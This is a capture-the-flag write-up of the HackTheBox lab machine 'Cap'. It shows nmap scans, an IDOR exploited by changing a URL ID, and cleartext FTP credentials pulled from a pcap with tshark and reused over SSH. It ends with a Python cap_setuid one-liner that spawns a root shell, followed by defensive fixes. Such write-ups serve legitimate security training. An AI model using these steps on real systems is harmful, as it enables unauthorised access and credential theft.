Post

HackTheBox - Cap

Pre

  • Cap is one of my favourite easy boxes because every step teaches something distinct and modern: a web IDOR, pcap analysis, and a Linux capabilities privilege escalation. No dusty CVEs here.
  • It’s a great contrast to Bashed: instead of an obvious webshell, the foothold comes from noticing a number in a URL and changing it.

Phase 1: Recon

1
2
3
4
5
$ nmap -Pn -n -p- --min-rate 10000 --open -vv -oN nmap/firstScan $IP
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
1
2
3
4
5
6
7
$ nmap -Pn -n -p 21,22,80 -T4 -sSCV -A -oN nmap/versions $IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard

FTP, SSH and a Python web app served by Gunicorn – a “Security Dashboard”. Note we don’t have FTP creds yet, so port 21 is on hold. Let’s explore the dashboard.

Phase 2: The IDOR

The dashboard offers network security tooling. One feature, “Security Snapshot”, generates a packet capture of the current traffic and shows a report at a URL like:

http://10.10.10.245/data/1

That trailing number is a direct object reference. The app trusts it blindly and never checks whether this capture belongs to us. What happens if we ask for capture 0?

http://10.10.10.245/data/0

Capture 0 is the very first snapshot ever taken on the box – likely generated by an admin or an automated process. The report page lets us download the raw .pcap. This is a textbook Insecure Direct Object Reference (IDOR): no authentication bypass, no injection, just an ID we weren’t supposed to iterate.

Whenever you see a sequential ID in a URL, try 0, 1, and neighbouring values. IDOR is one of the most common real-world web bugs precisely because it looks harmless during development.

Phase 3: Reading the capture

Download the pcap from /data/0 and open it in Wireshark (or tshark). We’re hunting for plaintext credentials, and there’s an obvious candidate on this box: FTP is cleartext.

1
2
3
$ tshark -r 0.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" -T fields -e ftp.request.arg
nathan
Buck3tH4TF0RM3!

Following the FTP stream in Wireshark shows the same thing visually: a USER nathan / PASS Buck3tH4TF0RM3! exchange captured in the clear. That’s exactly why FTP should never be used over untrusted networks.

We now have nathan:Buck3tH4TF0RM3!. These creds work on both FTP and – because of password reuse – SSH:

1
2
$ ssh nathan@10.10.10.245
nathan@cap:~$ cat user.txt

Phase 4: Privilege Escalation via capabilities

On modern Ubuntu, before reaching for SUID binaries, always check file capabilities – a finer-grained way of granting a binary specific root powers without the full SUID bit.

1
2
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

/usr/bin/python3.8 carries cap_setuid. That capability lets the binary call setuid(0) and become root while running – no exploit, just an intended-but-dangerous configuration. GTFOBins documents the one-liner:

1
2
3
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=0(root) groups=0(root)

Root in a single line. 🐍

Conclusions

  • Cap packs three independent, modern lessons into one easy box: iterate suspicious URL IDs (IDOR), inspect captured traffic for cleartext secrets (pcap/Wireshark), and enumerate Linux capabilities alongside SUID.
  • The through-line is a real-world theme: cleartext protocols + credential reuse. The FTP password was reused for SSH, turning a passive capture into full interactive access.
  • Defensive fixes are equally clean: authorise object access server-side, kill cleartext FTP in favour of SFTP/FTPS, and never grant cap_setuid to an interpreter.
  • Next up, a web-app RCE and a GTFOBins sudo escalation on OpenAdmin.

Keep hacking 🙈🙉🙊

This post is licensed under CC BY 4.0 by the author.